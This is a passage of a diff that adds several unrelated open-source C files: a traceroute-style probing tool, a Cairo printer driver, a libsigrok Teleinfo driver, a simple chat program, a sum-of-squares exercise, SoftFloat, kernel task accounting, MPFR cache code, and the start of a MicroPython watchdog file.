1000.0 + time->tv_usec / 1000.0; +} + +/* print_report: prints all the information about a successful round trip */ + +void print_report () +{ + int stat; + double rtt, krtt; + char str[NI_MAXHOST]; + + stat = sock_cmp_addr (sarecv, salast, salen); + + /* if this reply comes from source different from the previous + one, print the full host information */ + + if (stat != 0) { + stat = getnameinfo (sarecv, salen, str, sizeof(str), NULL, 0, 0); + if (stat == 0) { + printf (" %s (%s)", str, Sock_ntop_host (sarecv, salen)); + } else { + printf (" %s", Sock_ntop_host (sarecv, salen)); + } + memcpy (salast, sarecv, salen); + } + + /* calculate and print the round trip time using user-level timestamps */ + + sub_tv (recvtv, sendtv, difftv); + rtt = time_to_double (difftv); + + printf (" %.3f", time_to_double (difftv)); +} + +/* send_dgram: generate an outgoing UDP packet */ + + /* the second effort send is a kludge to handle a funny + thing, which is that the last host seems to refuse the + second or third connection consistently, which might + might mean that something breaks when we get the + ICMP_DEST_UNREACH error. The second attempt seems + to succeed consistently. */ + +void send_dgram (int ttl) +{ + int n; + + rec->seq = seq++; + sock_set_port (sasend, salen, htons(dport+seq)); + + Gettimeofday (sendtv, NULL); + n = sendto(sendfd, sendbuf, datalen, 0, sasend, salen); + + if (n==-1 && errno == ECONNREFUSED) { + Gettimeofday (sendtv, NULL); + n = sendto(sendfd, sendbuf, datalen, 0, sasend, salen); + } + + if (n != datalen) { + err_sys("sendto error"); + } +} + +/* send_probes: sends a set of probes with the given ttl and + then waits for the replies. The weird TOS options are there + as a signal to the kernel to identify clink packets so it can + fill in the timestamps. I am assuming that they don't have + any actual effect. */ + +int send_probes (int ttl) +{ + int i, probe, code, done; + + Setsockopt (sendfd, IPPROTO_IP, IP_TTL, &ttl, sizeof(int)); + bzero (salast, salen); + + printf ("%2d ", ttl); + fflush (stdout); + + done = 0; /* count the number of probes that generate an ICMP_DEST_UNREACH */ + + for (probe = 0; probe < nprobes; probe++) { + send_dgram (ttl); + code = recv_dgram (); + + if (code == -3) { + printf (" *"); + } else { + print_report (); + } + + if (code == -1) done++; + fflush (stdout); + } + printf ("ms\n"); + return done; +} + +/* loop_ttl: starting with ttl=1, gradually increase ttl until + we start getting ICMP_DEST_UNREACH instead of ICMP_TIME_EXCEEDED */ + +void loop_ttl () +{ + int ttl, done; + + Pipe (pipefd); /* the pipe for the alarm handler */ + + recvfd = socket (sasend->sa_family, SOCK_RAW, IPPROTO_ICMP); + if (recvfd == -1) { + if (errno == EPERM) { + printf ("\nclink was unable to open a raw socket. The most\n"); + printf ("likely cause is that you are not running it as root.\n"); + exit (1); + } else { + err_sys ("opening raw socket in clink"); + } + } + + fcntl (recvfd, F_SETFL, O_NONBLOCK); + setuid (getuid ()); + + sendfd = socket (sasend->sa_family, SOCK_DGRAM, 0); + + sabind->sa_family = sasend->sa_family; + sport = (getpid() & 0xffff) | 0x8000; /* source UDP port # */ + sock_set_port (sabind, salen, htons(sport)); + Bind (sendfd, sabind, salen); + + Signal (SIGALRM, sig_alrm); + + for (ttl = 1; ttl <= max_ttl; ttl++) { + done = send_probes (ttl); + if (done > 0) break; + } +} diff --git a/pool/shard011/C/0141678_cdcairoprn_win32.c b/pool/shard011/C/0141678_cdcairoprn_win32.c new file mode 100644 index 0000000000000000000000000000000000000000..003a8ace7280faf647a0f3b6bd2356ff4a2aa417 --- /dev/null +++ b/pool/shard011/C/0141678_cdcairoprn_win32.c @@ -0,0 +1,194 @@ +/** \file + * \brief Cairo/GTK Printer Driver (Win32 Only) + * + * See Copyright Notice in cd.h + */ + +#include +#include +#include + +#include + +#include "cdcairoctx.h" +#include "cdprint.h" + +#include "cairo-win32.h" + + +#ifndef DC_COLORDEVICE +#define DC_COLORDEVICE 32 /* declared only if WINVER 0x0500 */ +#endif + +static void cdkillcanvas(cdCtxCanvas *ctxcanvas) +{ + cairo_surface_t* surface = cairo_get_target(ctxcanvas->cr); + HDC hDC = cairo_win32_surface_get_dc(surface); + + cairo_surface_finish(surface); + + EndDoc(hDC); + DeleteDC(hDC); + + if (ctxcanvas->printername) + free(ctxcanvas->printername); + + cdcairoKillCanvas(ctxcanvas); +} + +static void cdflush(cdCtxCanvas *ctxcanvas) +{ + cairo_surface_t* surface = cairo_get_target(ctxcanvas->cr); + HDC hDC = cairo_win32_surface_get_dc(surface); + + cairo_surface_flush(surface); + cairo_show_page(ctxcanvas->cr); + + GdiFlush(); + EndPage(hDC); + + StartPage(hDC); +} + +static char* get_printername_attrib(cdCtxCanvas* ctxcanvas) +{ + return ctxcanvas->printername; +} + +static cdAttribute printername_attrib = +{ + "PRINTERNAME", + NULL, + get_printername_attrib +}; + +static void cdcreatecanvas(cdCanvas* canvas, void *data) +{ + cdCtxCanvas* ctxcanvas; + char *data_str = (char*) data; + char docname[256] = "CD - Canvas Draw Document"; + DOCINFO di; + HDC hDC; + int dialog = 0; + PRINTDLG pd; + HRGN clip_hrgn; + + /* Inicializa parametros */ + if (data_str == NULL) + return; + + if (data_str[0] != 0) + { + char *ptr = strstr(data_str, "-d"); + + if (ptr != NULL) + dialog = 1; + + if (data_str[0] != '-') + { + strcpy(docname, data_str); + + if (dialog) + docname[ptr - data_str - 1] = 0; + } + } + + ZeroMemory(&pd, sizeof(PRINTDLG)); + pd.lStructSize = sizeof(PRINTDLG); + pd.nCopies = 1; + + if (dialog) + { + pd.Flags = PD_RETURNDC | PD_USEDEVMODECOPIES | PD_COLLATE | PD_NOPAGENUMS | PD_NOSELECTION; + pd.hwndOwner = GetForegroundWindow(); + } + else + { + pd.Flags = PD_RETURNDC | PD_RETURNDEFAULT; + } + + if (!PrintDlg(&pd)) + { + if(pd.hDevMode) + GlobalFree(pd.hDevMode); + if(pd.hDevNames) + GlobalFree(pd.hDevNames); + return; + } + + hDC = pd.hDC; + + canvas->w = GetDeviceCaps(hDC, HORZRES); + canvas->h = GetDeviceCaps(hDC, VERTRES); + canvas->w_mm = (double)GetDeviceCaps(hDC, HORZSIZE); + canvas->h_mm = (double)GetDeviceCaps(hDC, VERTSIZE); + canvas->bpp = GetDeviceCaps(hDC, BITSPIXEL); + canvas->xres = (double)canvas->w / canvas->w_mm; + canvas->yres = (double)canvas->h / canvas->h_mm; + + /* The DC will be queried for its initial clip extents, and this will be used as the size of the cairo surface. */ + clip_hrgn = CreateRectRgn(0, 0, canvas->w, canvas->h); + SelectClipRgn(hDC, clip_hrgn); + DeleteObject(clip_hrgn); + + ctxcanvas = cdcairoCreateCanvas(canvas, cairo_create(cairo_win32_printing_surface_create(hDC))); + + di.cbSize = sizeof(DOCINFO); + di.lpszDocName = docname; + di.lpszOutput = (LPTSTR) NULL; + di.lpszDatatype = (LPTSTR) NULL; + di.fwType = 0; + + StartDoc(hDC, &di); + + StartPage(hDC); + + if (pd.hDevNames) + { + unsigned char* devnames = (unsigned char*)GlobalLock(pd.hDevNames); + DEVNAMES* dn = (DEVNAMES*)devnames; + char* device = (char*)(devnames + dn->wDeviceOffset); + + ctxcanvas->printername = cdStrDup(device); + cdRegisterAttribute(canvas, &printername_attrib); + + /* PDF Writer returns bpp=1, so we check if color is supported and overwrite this value */ + if (canvas->bpp==1) + { + char* port = (char*)(devnames + dn->wOutputOffset); + if (DeviceCapabilities(device, port, DC_COLORDEVICE, NULL, NULL)) + canvas->bpp = 24; + } + + GlobalUnlock(pd.hDevNames); + } + + if(pd.hDevMode) + GlobalFree(pd.hDevMode); + if(pd.hDevNames) + GlobalFree(pd.hDevNames); +} + +static void cdinittable(cdCanvas* canvas) +{ + cdcairoInitTable(canvas); + + canvas->cxFlush = cdflush; + canvas->cxKillCanvas = cdkillcanvas; +} + +static cdContext cdPrinterCairoContext = +{ + CD_CAP_ALL & ~(CD_CAP_PLAY | CD_CAP_YAXIS | CD_CAP_REGION | CD_CAP_GETIMAGERGB | + CD_CAP_WRITEMODE | CD_CAP_PALETTE | CD_CAP_IMAGESRV), + CD_CTX_DEVICE|CD_CTX_PLUS, + cdcreatecanvas, + cdinittable, + NULL, + NULL, +}; + +cdContext* cdContextCairoPrinter(void) +{ + return &cdPrinterCairoContext; +} diff --git a/pool/shard011/C/0141679_api.c b/pool/shard011/C/0141679_api.c new file mode 100644 index 0000000000000000000000000000000000000000..9e64caaed231586ac831b6b1a9223a832a149407 --- /dev/null +++ b/pool/shard011/C/0141679_api.c @@ -0,0 +1,215 @@ +/* + * This file is part of the libsigrok project. + * + * Copyright (C) 2013 Aurelien Jacobs + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include "libsigrok-internal.h" +#include "protocol.h" + +static const uint32_t scanopts[] = { + SR_CONF_CONN, + SR_CONF_SERIALCOMM, +}; + +static const uint32_t devopts[] = { + SR_CONF_ENERGYMETER, + SR_CONF_CONTINUOUS, + SR_CONF_LIMIT_SAMPLES | SR_CONF_SET, + SR_CONF_LIMIT_MSEC | SR_CONF_SET, +}; + +SR_PRIV struct sr_dev_driver teleinfo_driver_info; + +static GSList *scan(struct sr_dev_driver *di, GSList *options) +{ + struct drv_context *drvc; + struct dev_context *devc; + struct sr_serial_dev_inst *serial; + struct sr_dev_inst *sdi; + GSList *devices = NULL, *l; + const char *conn = NULL, *serialcomm = NULL; + uint8_t buf[292]; + size_t len; + struct sr_config *src; + + len = sizeof(buf); + + for (l = options; l; l = l->next) { + src = l->data; + switch (src->key) { + case SR_CONF_CONN: + conn = g_variant_get_string(src->data, NULL); + break; + case SR_CONF_SERIALCOMM: + serialcomm = g_variant_get_string(src->data, NULL); + break; + } + } + if (!conn) + return NULL; + if (!serialcomm) + serialcomm = "1200/7e1"; + + serial = sr_serial_dev_inst_new(conn, serialcomm); + + if (serial_open(serial, SERIAL_RDONLY) != SR_OK) + return NULL; + + sr_info("Probing serial port %s.", conn); + + drvc = di->context; + drvc->instances = NULL; + serial_flush(serial); + + /* Let's get a bit of data and see if we can find a packet. */ + if (serial_stream_detect(serial, buf, &len, len, + teleinfo_packet_valid, 3000, 1200) != SR_OK) + goto scan_cleanup; + + sr_info("Found device on port %s.", conn); + + sdi = g_malloc0(sizeof(struct sr_dev_inst)); + sdi->status = SR_ST_INACTIVE; + sdi->vendor = g_strdup("EDF"); + sdi->model = g_strdup("Teleinfo"); + devc = g_malloc0(sizeof(struct dev_context)); + devc->optarif = teleinfo_get_optarif(buf); + sdi->inst_type = SR_INST_SERIAL; + sdi->conn = serial; + sdi->priv = devc; + sdi->driver = di; + + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "P"); + + if (devc->optarif == OPTARIF_BASE) { + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "BASE"); + } else if (devc->optarif == OPTARIF_HC) { + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HP"); + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HC"); + } else if (devc->optarif == OPTARIF_EJP) { + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HN"); + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HPM"); + } else if (devc->optarif == OPTARIF_BBR) { + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HPJB"); + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HPJW"); + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HPJR"); + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HCJB"); + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HCJW"); + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "HCJR"); + } + + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "IINST"); + sr_channel_new(sdi, 0, SR_CHANNEL_ANALOG, TRUE, "PAPP"); + + drvc->instances = g_slist_append(drvc->instances, sdi); + devices = g_slist_append(devices, sdi); + +scan_cleanup: + serial_close(serial); + + return devices; +} + +static int config_set(uint32_t key, GVariant *data, const struct sr_dev_inst *sdi, + const struct sr_channel_group *cg) +{ + struct dev_context *devc; + + (void)cg; + + if (sdi->status != SR_ST_ACTIVE) + return SR_ERR_DEV_CLOSED; + + if (!(devc = sdi->priv)) { + sr_err("sdi->priv was NULL."); + return SR_ERR_BUG; + } + + return sr_sw_limits_config_set(&devc->sw_limits, key, data); +} + +static int config_list(uint32_t key, GVariant **data, const struct sr_dev_inst *sdi, + const struct sr_channel_group *cg) +{ + (void)sdi; + (void)cg; + + switch (key) { + case SR_CONF_SCAN_OPTIONS: + *data = g_variant_new_fixed_array(G_VARIANT_TYPE_UINT32, + scanopts, ARRAY_SIZE(scanopts), sizeof(uint32_t)); + break; + case SR_CONF_DEVICE_OPTIONS: + *data = g_variant_new_fixed_array(G_VARIANT_TYPE_UINT32, + devopts, ARRAY_SIZE(devopts), sizeof(uint32_t)); + break; + default: + return SR_ERR_NA; + } + + return SR_OK; +} + +static int dev_acquisition_start(const struct sr_dev_inst *sdi) +{ + struct sr_serial_dev_inst *serial = sdi->conn; + struct dev_context *devc; + + if (sdi->status != SR_ST_ACTIVE) + return SR_ERR_DEV_CLOSED; + + devc = sdi->priv; + + sr_sw_limits_acquisition_start(&devc->sw_limits); + + std_session_send_df_header(sdi, LOG_PREFIX); + + /* Poll every 50ms, or whenever some data comes in. */ + serial_source_add(sdi->session, serial, G_IO_IN, 50, + teleinfo_receive_data, (void *)sdi); + + return SR_OK; +} + +static int dev_acquisition_stop(struct sr_dev_inst *sdi) +{ + return std_serial_dev_acquisition_stop(sdi, + std_serial_dev_close, sdi->conn, LOG_PREFIX); +} + +SR_PRIV struct sr_dev_driver teleinfo_driver_info = { + .name = "teleinfo", + .longname = "Teleinfo", + .api_version = 1, + .init = std_init, + .cleanup = std_cleanup, + .scan = scan, + .dev_list = std_dev_list, + .dev_clear = NULL, + .config_get = NULL, + .config_set = config_set, + .config_list = config_list, + .dev_open = std_serial_dev_open, + .dev_close = std_serial_dev_close, + .dev_acquisition_start = dev_acquisition_start, + .dev_acquisition_stop = dev_acquisition_stop, + .context = NULL, +}; diff --git a/pool/shard011/C/0141680_main.c b/pool/shard011/C/0141680_main.c new file mode 100644 index 0000000000000000000000000000000000000000..4f0e3c469c1b160a1649e047c8287fda903ce494 --- /dev/null +++ b/pool/shard011/C/0141680_main.c @@ -0,0 +1,125 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define MSG_SIZE 80 +#define MAX_CLIENTS 95 +#define MYPORT 7400 + +void exitClient(int fd, fd_set *readfds, char fd_array[], int *num_clients){ + int i; + close(fd); + FD_CLR(fd, readfds); //clear the leaving client from the set + for (i = 0; i < (*num_clients) - 1; i++) + if (fd_array[i] == fd) + break; + for (; i < (*num_clients) - 1; i++) + (fd_array[i]) = (fd_array[i + 1]); + (*num_clients)--; +} + +int main(int argc, char *argv[]) { + int i=0; + int port; + int num_clients = 0; + int server_sockfd, client_sockfd; + struct sockaddr_in server_address; + int addresslen = sizeof(struct sockaddr_in); + int fd; + char fd_array[MAX_CLIENTS]; + fd_set readfds, testfds, clientfds; + char msg[MSG_SIZE + 1]; + char kb_msg[MSG_SIZE + 10]; + + /*Client variables=======================*/ + int sockfd; + int result; + char hostname[MSG_SIZE]; + struct hostent *hostinfo; + struct sockaddr_in address; + char alias[MSG_SIZE]; + int clientid; + + /*Client==================================================*/ + if(argc==2 || argc==4){ + if(!strcmp("-p",argv[1])){ + if(argc==2){ + printf("Invalid parameters.\nUsage: chat [-p PORT] HOSTNAME\n"); + exit(0); + }else{ + sscanf(argv[2],"%i",&port); + strcpy(hostname,argv[3]); + } + }else{ + port=MYPORT; + strcpy(hostname,argv[1]); + } + printf("\n*** Client program starting (enter \"quit\" to stop): \n"); + fflush(stdout); + + /* Create a socket for the client */ + sockfd = socket(AF_INET, SOCK_STREAM, 0); + + /* Name the socket, as agreed with the server */ + hostinfo = gethostbyname(hostname); /* look for host's name */ + address.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list; + address.sin_family = AF_INET; + address.sin_port = htons(port); + + /* Connect the socket to the server's socket */ + if(connect(sockfd, (struct sockaddr *)&address, sizeof(address)) < 0){ + perror("connecting"); + exit(1); + } + + fflush(stdout); + FD_ZERO(&clientfds); + FD_SET(sockfd,&clientfds); + FD_SET(0,&clientfds);//stdin + + /* Now wait for messages from the server */ + while (1) { + testfds=clientfds; + select(FD_SETSIZE,&testfds,NULL,NULL,NULL); + for(fd=0;fd +#include + +long get_long(void); +bool bad_limits(long begin, long end, long low, long high); +double sum_squares(long a, long b); + +int main(void) +{ + const long MIN = -10000000L; + const long MAX = 10000000L; + long start, stop; + double answer; + + printf("This program computes the sum of the squares of" + "integers in a range.\nThe lower bound should not " + "be less than %ld and\n the upper bound " + "should not be more then %ld.\nEnter the limits " + "(0 for both limits to quit):\nlower limit: ", MIN, MAX); + start = get_long(); + printf("upper limit: "); + stop = get_long(); + while (start != 0 || stop != 0) { + if (bad_limits(start, stop, MIN, MAX)) { + printf("Please try again.\n"); + } else { + answer = sum_squares(start, stop); + printf("The sum of the squares of the integers "); + printf("from %ld to %ld is %g\n", start, stop, answer); + } + printf("Enter the limits (0 for both limits to quit):\n"); + printf("lower limit: "); + start = get_long(); + printf("upper limit: "); + stop = get_long(); + } + printf("Done.\n"); + + return 0; +} + +long get_long(void) +{ + long input; + char ch; + + while (scanf("%ld", &input) != 1) { + while ((ch = getchar()) != '\n') { + putchar(ch); + } + printf(" is not an integer.\nPlease enter an "); + printf("integer value, such as 25, -178, or 2: "); + } + + return input; +} + +double sum_squares(long a, long b) +{ + double total = 0; + long i; + + for (i = a; i <= b; i++) { + total += (double)i * (double)i; + } + + return total; +} + +bool bad_limits(long begin, long end, long low, long high) +{ + bool not_good = false; + + if (begin > end) { + printf("%ld isn't smaller than %ld.\n", begin, end); + not_good = true; + } + if (begin < low || end < low) { + printf("Values must be %ld or greater.\n", low); + not_good = true; + } + if (begin > high || end > high) { + printf("Values must be %ld or less.\n", high); + not_good = true; + } + + return not_good; +} diff --git a/pool/shard011/C/0141682_extF80_eq.c b/pool/shard011/C/0141682_extF80_eq.c new file mode 100644 index 0000000000000000000000000000000000000000..fd666628ee4f58fdc43e40a589793a72eb85d107 --- /dev/null +++ b/pool/shard011/C/0141682_extF80_eq.c @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: BSD-3-Clause + +/*============================================================================ + +This C source file is part of the SoftFloat IEEE Floating-Point Arithmetic +Package, Release 3a, by John R. Hauser. + +Copyright 2011, 2012, 2013, 2014 The Regents of the University of California. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions, and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions, and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + 3. Neither the name of the University nor the names of its contributors may + be used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS "AS IS", AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, ARE +DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +=============================================================================*/ + +#include +#include +#include "platform.h" +#include "internals.h" +#include "specialize.h" +#include "softfloat.h" + +bool extF80_eq( extFloat80_t a, extFloat80_t b ) +{ + union { struct extFloat80M s; extFloat80_t f; } uA; + uint_fast16_t uiA64; + uint_fast64_t uiA0; + union { struct extFloat80M s; extFloat80_t f; } uB; + uint_fast16_t uiB64; + uint_fast64_t uiB0; + + uA.f = a; + uiA64 = uA.s.signExp; + uiA0 = uA.s.signif; + uB.f = b; + uiB64 = uB.s.signExp; + uiB0 = uB.s.signif; + if ( isNaNExtF80UI( uiA64, uiA0 ) || isNaNExtF80UI( uiB64, uiB0 ) ) { + if ( + softfloat_isSigNaNExtF80UI( uiA64, uiA0 ) + || softfloat_isSigNaNExtF80UI( uiB64, uiB0 ) + ) { + softfloat_raiseFlags( softfloat_flag_invalid ); + } + return false; + } + return + (uiA0 == uiB0) + && ((uiA64 == uiB64) || (! uiA0 && ! ((uiA64 | uiB64) & 0x7FFF))); + +} + diff --git a/pool/shard011/C/0141683_tsacct.c b/pool/shard011/C/0141683_tsacct.c new file mode 100644 index 0000000000000000000000000000000000000000..00d59d048edfafdc7ec70462e0133c0ec620a6d8 --- /dev/null +++ b/pool/shard011/C/0141683_tsacct.c @@ -0,0 +1,155 @@ +/* + * tsacct.c - System accounting over taskstats interface + * + * Copyright (C) Jay Lan, + * + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ + +#include +#include +#include +#include +#include + +/* + * fill in basic accounting fields + */ +void bacct_add_tsk(struct taskstats *stats, struct task_struct *tsk) +{ + const struct cred *tcred; + struct timespec uptime, ts; + u64 ac_etime; + + BUILD_BUG_ON(TS_COMM_LEN < TASK_COMM_LEN); + + /* calculate task elapsed time in timespec */ + do_posix_clock_monotonic_gettime(&uptime); + ts = timespec_sub(uptime, tsk->start_time); + /* rebase elapsed time to usec (should never be negative) */ + ac_etime = timespec_to_ns(&ts); + do_div(ac_etime, NSEC_PER_USEC); + stats->ac_etime = ac_etime; + stats->ac_btime = get_seconds() - ts.tv_sec; + if (thread_group_leader(tsk)) { + stats->ac_exitcode = tsk->exit_code; + if (tsk->flags & PF_FORKNOEXEC) + stats->ac_flag |= AFORK; + } + if (tsk->flags & PF_SUPERPRIV) + stats->ac_flag |= ASU; + if (tsk->flags & PF_DUMPCORE) + stats->ac_flag |= ACORE; + if (tsk->flags & PF_SIGNALED) + stats->ac_flag |= AXSIG; + stats->ac_nice = task_nice(tsk); + stats->ac_sched = tsk->policy; + stats->ac_pid = tsk->pid; + rcu_read_lock(); + tcred = __task_cred(tsk); + stats->ac_uid = tcred->uid; + stats->ac_gid = tcred->gid; + stats->ac_ppid = pid_alive(tsk) ? + rcu_dereference(tsk->real_parent)->tgid : 0; + rcu_read_unlock(); + stats->ac_utime = cputime_to_msecs(tsk->utime) * USEC_PER_MSEC; + stats->ac_stime = cputime_to_msecs(tsk->stime) * USEC_PER_MSEC; + stats->ac_utimescaled = + cputime_to_msecs(tsk->utimescaled) * USEC_PER_MSEC; + stats->ac_stimescaled = + cputime_to_msecs(tsk->stimescaled) * USEC_PER_MSEC; + stats->ac_minflt = tsk->min_flt; + stats->ac_majflt = tsk->maj_flt; + + strncpy(stats->ac_comm, tsk->comm, sizeof(stats->ac_comm)); +} + + +#ifdef CONFIG_TASK_XACCT + +#define KB 1024 +#define MB (1024*KB) +/* + * fill in extended accounting fields + */ +void xacct_add_tsk(struct taskstats *stats, struct task_struct *p) +{ + struct mm_struct *mm; + + /* convert pages-usec to Mbyte-usec */ + stats->coremem = p->acct_rss_mem1 * PAGE_SIZE / MB; + stats->virtmem = p->acct_vm_mem1 * PAGE_SIZE / MB; + mm = get_task_mm(p); + if (mm) { + /* adjust to KB unit */ + stats->hiwater_rss = get_mm_hiwater_rss(mm) * PAGE_SIZE / KB; + stats->hiwater_vm = get_mm_hiwater_vm(mm) * PAGE_SIZE / KB; + mmput(mm); + } + stats->read_char = p->ioac.rchar; + stats->write_char = p->ioac.wchar; + stats->read_syscalls = p->ioac.syscr; + stats->write_syscalls = p->ioac.syscw; +#ifdef CONFIG_TASK_IO_ACCOUNTING + stats->read_bytes = p->ioac.read_bytes; + stats->write_bytes = p->ioac.write_bytes; + stats->cancelled_write_bytes = p->ioac.cancelled_write_bytes; +#else + stats->read_bytes = 0; + stats->write_bytes = 0; + stats->cancelled_write_bytes = 0; +#endif +} +#undef KB +#undef MB + +/** + * acct_update_integrals - update mm integral fields in task_struct + * @tsk: task_struct for accounting + */ +void acct_update_integrals(struct task_struct *tsk) +{ + if (likely(tsk->mm)) { + cputime_t time, dtime; + struct timeval value; + unsigned long flags; + u64 delta; + + local_irq_save(flags); + time = tsk->stime + tsk->utime; + dtime = cputime_sub(time, tsk->acct_timexpd); + jiffies_to_timeval(cputime_to_jiffies(dtime), &value); + delta = value.tv_sec; + delta = delta * USEC_PER_SEC + value.tv_usec; + + if (delta == 0) + goto out; + tsk->acct_timexpd = time; + tsk->acct_rss_mem1 += delta * get_mm_rss(tsk->mm); + tsk->acct_vm_mem1 += delta * tsk->mm->total_vm; + out: + local_irq_restore(flags); + } +} + +/** + * acct_clear_integrals - clear the mm integral fields in task_struct + * @tsk: task_struct whose accounting fields are cleared + */ +void acct_clear_integrals(struct task_struct *tsk) +{ + tsk->acct_timexpd = 0; + tsk->acct_rss_mem1 = 0; + tsk->acct_vm_mem1 = 0; +} +#endif diff --git a/pool/shard011/C/0141684_free_cache.c b/pool/shard011/C/0141684_free_cache.c new file mode 100644 index 0000000000000000000000000000000000000000..c95e7764a42ce52014e28fd16b0d70c096171dce --- /dev/null +++ b/pool/shard011/C/0141684_free_cache.c @@ -0,0 +1,52 @@ +/* mpfr_free_cache - Free the cache used by MPFR for internal consts. + +Copyright 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, Inc. +Contributed by the Arenaire and Cacao projects, INRIA. + +This file is part of the GNU MPFR Library. + +The GNU MPFR Library is free software; you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation; either version 2.1 of the License, or (at your +option) any later version. + +The GNU MPFR Library is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY +or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public +License for more details. + +You should have received a copy of the GNU Lesser General Public License +along with the GNU MPFR Library; see the file COPYING.LIB. If not, write to +the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, +MA 02110-1301, USA. */ + +#include "mpfr-impl.h" + +#if 0 +static void +free_l2b (void) +{ + int i, b; + + for (b = 2; b <= BASE_MAX; b++) + for (i = 0; i < 2; i++) + { + mpfr_ptr p = __gmpfr_l2b[b-2][i]; + if (p != NULL) + { + mpfr_clear (p); + (*__gmp_free_func) (p, sizeof (mpfr_t)); + } + } +} +#endif + +void +mpfr_free_cache (void) +{ + mpfr_clear_cache (__gmpfr_cache_const_pi); + mpfr_clear_cache (__gmpfr_cache_const_log2); + mpfr_clear_cache (__gmpfr_cache_const_euler); + mpfr_clear_cache (__gmpfr_cache_const_catalan); + /* free_l2b (); */ +} diff --git a/pool/shard011/C/0141685_pybwdt.c b/pool/shard011/C/0141685_pybwdt.c new file mode 100644 index 0000000000000000000000000000000000000000..9770a7c47e0f2e21033bab2eef1c8048326cec86 --- /dev/null +++ b/pool/shard011/C/0141685_pybwdt.c @@ -0,0 +1,153 @@ +/* + * This file is part of the Micro Python project, http://micropython.org/ + * + * The MIT License (MIT) + * + * Copyright (c) 2015 Daniel Campora + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include + +#include "py/mpconfig.h" +#include MICROPY_HAL_H +#include "py/obj.h" +#include "py/runtime.h" +#include "inc/hw_types.h" +#include "inc/hw_gpio.h" +#include "inc/hw_ints.h" +#include "inc/hw_memmap.h" +#include "rom_map.h" +#include "wdt.h" +#include "prcm.h" +#include "utils.h" +#include "pybwdt.h" +#include "mpexception.h" +#include "mperror.h" + + +/****************************************************************************** + DECLARE CONSTANTS + ******************************************************************************/ +#define PYBWDT_MILLISECONDS_TO_TICKS(ms) ((80000000 / 1000) * (ms)) +#define PYBWDT_MIN_TIMEOUT_MS (1000) + 